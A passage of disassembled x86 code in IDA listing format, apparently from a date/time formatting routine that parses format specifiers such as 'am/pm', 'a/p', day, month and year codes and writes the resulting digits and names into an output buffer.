[ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_42F440 add esp, 14h loc_42EE29: ; CODE XREF: sub_42EC70+144j jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EE2E: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F219o mov ecx, dword_4DB450 mov dword_4DB454, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EE58: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1E9o mov eax, dword_4DB450 mov dword_4DB454, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EE80: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1EDo mov edx, dword_4DB450 mov dword_4DB454, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_42EEAA mov [ebp+var_4], 0Ch loc_42EEAA: ; CODE XREF: sub_42EC70+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EEC5: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F21Do mov edx, dword_4DB450 mov dword_4DB454, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EEF2: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F221o mov ecx, dword_4DB450 mov dword_4DB454, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EF1F: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1F1o mov eax, dword_4DB450 mov dword_4DB454, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EF47: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F225o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_42EF6C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_42F290 add esp, 0Ch jmp short loc_42EF86 ; --------------------------------------------------------------------------- loc_42EF6C: ; CODE XREF: sub_42EC70+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_42F290 add esp, 0Ch loc_42EF86: ; CODE XREF: sub_42EC70+2FAj jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EF8B: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1F5o mov edx, dword_4DB450 mov dword_4DB454, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1F9o mov ecx, dword_4DB450 mov dword_4DB454, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_42F01D ; --------------------------------------------------------------------------- loc_42EFCB: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F229o mov ecx, dword_4DB450 mov dword_4DB454, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EFF5: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1FDo mov eax, dword_4DB450 mov dword_4DB454, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_42F011 mov [ebp+var_8], 6 jmp short loc_42F01D ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: sub_42EC70+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_42F01D: ; CODE XREF: sub_42EC70+359j ; sub_42EC70+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_42F031 mov [ebp+var_4], 0 jmp short loc_42F05E ; --------------------------------------------------------------------------- loc_42F031: ; CODE XREF: sub_42EC70+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_42F05E mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42F05E: ; CODE XREF: sub_42EC70+3BFj ; sub_42EC70+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F079: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F22Do cmp dword_4DB450, 0 jz short loc_42F0B0 mov dword_4DB450, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_42F440 add esp, 14h jmp short loc_42F0D2 ; --------------------------------------------------------------------------- loc_42F0B0: ; CODE XREF: sub_42EC70+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_42F440 add esp, 14h loc_42F0D2: ; CODE XREF: sub_42EC70+43Ej jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F0D7: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F201o mov dword_4DB450, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_42F440 add esp, 14h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F108: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F231o mov eax, dword_4DB450 mov dword_4DB454, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_42F2E0 add esp, 10h jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F13E: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F205o mov edx, dword_4DB450 mov dword_4DB454, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_42F2E0 add esp, 10h jmp short loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F18B: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F209o call sub_428EB0 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_44456C[eax*4] push ecx call sub_42F290 add esp, 0Ch jmp short loc_42F1D8 ; --------------------------------------------------------------------------- loc_42F1B6: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:off_42F1DDo mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42F1D8: ; CODE XREF: sub_42EC70+1Bj ; sub_42EC70+2Cj ... pop esi mov esp, ebp pop ebp retn sub_42EC70 endp ; --------------------------------------------------------------------------- off_42F1DD dd offset loc_42F1B6 ; DATA XREF: sub_42EC70+2Cr dd offset loc_42ECC5 dd offset loc_42ED0B dd offset loc_42EE58 dd offset loc_42EE80 dd offset loc_42EF1F dd offset loc_42EF8B dd offset loc_42EFB4 dd offset loc_42EFF5 dd offset loc_42F0D7 dd offset loc_42F13E dd offset loc_42F18B dd offset loc_42ECA3 dd offset loc_42ECE8 dd offset loc_42ED2E dd offset loc_42EE2E dd offset loc_42EEC5 dd offset loc_42EEF2 dd offset loc_42EF47 dd offset loc_42EFCB dd offset loc_42F079 dd offset loc_42F108 dd offset loc_42F1D8 byte_42F239 db 0 ; DATA XREF: sub_42EC70+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F290 proc near ; CODE XREF: sub_42EC70+48p ; sub_42EC70+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_42F293: ; CODE XREF: sub_42F290+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_42F2D6 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42F2D6 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_42F293 ; --------------------------------------------------------------------------- loc_42F2D6: ; CODE XREF: sub_42F290+9j ; sub_42F290+13j pop ebp retn sub_42F290 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F2E0 proc near ; CODE XREF: sub_42EC70+1DBp ; sub_42EC70+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp dword_4DB454, 0 jz short loc_42F30A mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_42F390 add esp, 0Ch jmp short loc_42F389 ; --------------------------------------------------------------------------- loc_42F30A: ; CODE XREF: sub_42F2E0+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_42F380 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_42F328 ; --------------------------------------------------------------------------- loc_42F31F: ; CODE XREF: sub_42F2E0+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_42F328: ; CODE XREF: sub_42F2E0+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_42F364 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_42F31F ; --------------------------------------------------------------------------- loc_42F364: ; CODE XREF: sub_42F2E0+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_42F389 ; --------------------------------------------------------------------------- loc_42F380: ; CODE XREF: sub_42F2E0+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_42F389: ; CODE XREF: sub_42F2E0+28j ; sub_42F2E0+9Ej mov esp, ebp pop ebp retn sub_42F2E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F390 proc near ; CODE XREF: sub_42F2E0+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_42F3EB loc_42F3A6: ; CODE XREF: sub_42F390+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_42F3EB mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_42F3A6 loc_42F3EB: ; CODE XREF: sub_42F390+14j ; sub_42F390+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42F404: ; CODE XREF: sub_42F390+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_42F404 mov esp, ebp pop ebp retn sub_42F390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F440 proc near ; CODE XREF: sub_42EC70+EBp ; sub_42EC70+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_42F446: ; CODE XREF: sub_42F440+2EAj ; sub_42F440:loc_42F80Bj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_42F8BC mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_42F8BC mov [ebp+var_8], 0 mov dword_4DB454, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_42F486 ; --------------------------------------------------------------------------- loc_42F47D: ; CODE XREF: sub_42F440+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_42F486: ; CODE XREF: sub_42F440+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_42F4A1 jmp short loc_42F47D ; --------------------------------------------------------------------------- loc_42F4A1: ; CODE XREF: sub_42F440+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_42F810 mov ecx, [ebp+var_14] xor eax, eax mov al, byte_42F8EC[ecx] jmp off_42F8C0[eax*4] loc_42F4D8: ; DATA XREF: ___:0042F8CCo mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_42F511 mov ecx, [ebp+var_18] jmp dword ptr loc_42F93F[ecx*4] mov dword_4DB454, 1 loc_42F501: ; CODE XREF: sub_42F440+B0j mov [ebp+var_8], 6Dh jmp short loc_42F511 ; --------------------------------------------------------------------------- loc_42F507: ; CODE XREF: sub_42F440+B0j mov [ebp+var_8], 62h jmp short loc_42F511 ; --------------------------------------------------------------------------- loc_42F50D: ; CODE XREF: sub_42F440+B0j mov [ebp+var_8], 42h loc_42F511: ; CODE XREF: sub_42F440+ABj ; sub_42F440+C5j ... jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F516: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8D0o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_42F54F mov ecx, [ebp+var_1C] jmp dword ptr loc_42F94A+5[ecx*4] loc_42F535: ; CODE XREF: sub_42F440+B0j mov dword_4DB454, 1 loc_42F53F: ; CODE XREF: sub_42F440+B0j ; sub_42F440+EEj mov [ebp+var_8], 64h jmp short loc_42F54F ; --------------------------------------------------------------------------- loc_42F545: ; CODE XREF: sub_42F440+B0j ; sub_42F440+EEj mov [ebp+var_8], 61h jmp short loc_42F54F ; --------------------------------------------------------------------------- loc_42F54B: ; CODE XREF: sub_42F440+B0j ; sub_42F440+EEj mov [ebp+var_8], 41h loc_42F54F: ; CODE XREF: sub_42F440+E9j ; sub_42F440+103j ... jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F554: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8E4o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_42F568 cmp [ebp+var_20], 4 jz short loc_42F56E jmp short loc_42F572 ; --------------------------------------------------------------------------- loc_42F568: ; CODE XREF: sub_42F440+11Ej mov [ebp+var_8], 79h jmp short loc_42F572 ; --------------------------------------------------------------------------- loc_42F56E: ; CODE XREF: sub_42F440+124j mov [ebp+var_8], 59h loc_42F572: ; CODE XREF: sub_42F440+126j ; sub_42F440+12Cj jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F577: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8D4o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_42F58B cmp [ebp+var_24], 2 jz short loc_42F595 jmp short loc_42F599 ; --------------------------------------------------------------------------- loc_42F58B: ; CODE XREF: sub_42F440+141j mov dword_4DB454, 1 loc_42F595: ; CODE XREF: sub_42F440+147j mov [ebp+var_8], 49h loc_42F599: ; CODE XREF: sub_42F440+149j jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F59E: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8C8o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_42F5B2 cmp [ebp+var_28], 2 jz short loc_42F5BC jmp short loc_42F5C0 ; --------------------------------------------------------------------------- loc_42F5B2: ; CODE XREF: sub_42F440+168j mov dword_4DB454, 1 loc_42F5BC: ; CODE XREF: sub_42F440+16Ej mov [ebp+var_8], 48h loc_42F5C0: ; CODE XREF: sub_42F440+170j jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F5C5: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8D8o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_42F5D9 cmp [ebp+var_2C], 2 jz short loc_42F5E3 jmp short loc_42F5E7 ; --------------------------------------------------------------------------- loc_42F5D9: ; CODE XREF: sub_42F440+18Fj mov dword_4DB454, 1 loc_42F5E3: ; CODE XREF: sub_42F440+195j mov [ebp+var_8], 4Dh loc_42F5E7: ; CODE XREF: sub_42F440+197j jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F5EC: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8DCo mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_42F600 cmp [ebp+var_30], 2 jz short loc_42F60A jmp short loc_42F60E ; --------------------------------------------------------------------------- loc_42F600: ; CODE XREF: sub_42F440+1B6j mov dword_4DB454, 1 loc_42F60A: ; CODE XREF: sub_42F440+1BCj mov [ebp+var_8], 53h loc_42F60E: ; CODE XREF: sub_42F440+1BEj jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8C4o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_42FE70 add esp, 8 test eax, eax jnz short loc_42F633 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_42F651 ; --------------------------------------------------------------------------- loc_42F633: ; CODE XREF: sub_42F440+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_42FE70 add esp, 8 test eax, eax jnz short loc_42F651 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_42F651: ; CODE XREF: sub_42F440+1F1j ; sub_42F440+206j mov [ebp+var_8], 70h jmp loc_42F810 ; --------------------------------------------------------------------------- loc_42F65A: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:0042F8E0o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_42F671 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_42F67D ; --------------------------------------------------------------------------- loc_42F671: ; CODE XREF: sub_42F440+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_42F67D: ; CODE XREF: sub_42F440+22Fj ; sub_42F440+2DFj cmp [ebp+var_C], 0 jle loc_42F724 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_42F724 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42F6E7 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_42F6E7 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_42F6E7: ; CODE XREF: sub_42F440+26Ej ; sub_42F440+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_42F67D ; --------------------------------------------------------------------------- loc_42F724: ; CODE XREF: sub_42F440+241j ; sub_42F440+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_42F446 ; --------------------------------------------------------------------------- loc_42F72F: ; CODE XREF: sub_42F440+91j ; DATA XREF: ___:off_42F8C0o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_42F802 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_42F746: ; CODE XREF: sub_42F440+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_42F800 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_42F800 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_42F779 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_42F800 ; --------------------------------------------------------------------------- loc_42F779: ; CODE XREF: sub_42F440+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_42F7CC mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_42F7CC mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42F7CC: ; CODE XREF: sub_42F440+353j ; sub_42F440+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_42F746 ; --------------------------------------------------------------------------- loc_42F800: ; CODE XREF: sub_42F440+30Ej ; sub_42F440+31Aj ... jmp short loc_42F80B ; --------------------------------------------------------------------------- loc_42F802: ; CODE XREF: sub_42F440+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_42F80B: ; CODE XREF: sub_42F440:loc_42F800j jmp loc_42F446 ; --------------------------------------------------------------------------- loc_42F810: ; CODE XREF: sub_42F440+80j ; sub_42F440+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_42F83C mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_42EC70 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_42F8B7 ; --------------------------------------------------------------------------- loc_42F83C: ; CODE XREF: sub_42F440+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42F888 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_42F888: ; CODE XREF: sub_42F440+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_42F8B7: ; CODE XREF: sub_42F440+3FAj jmp loc_42F446 ; --------------------------------------------------------------------------- loc_42F8BC: ; CODE XREF: sub_42F440+Ej ; sub_42F440+1Aj mov esp, ebp pop ebp retn sub_42F440 endp ; --------------------------------------------------------------------------- off_42F8C0 dd offset loc_42F72F ; DATA XREF: sub_42F440+91r dd offset loc_42F613 dd offset loc_42F59E dd offset loc_42F4D8 dd offset loc_42F516 dd offset loc_42F577 dd offset loc_42F5C5 dd offset loc_42F5EC dd offset loc_42F65A dd offset loc_42F554 dd offset loc_42F810 byte_42F8EC db 0 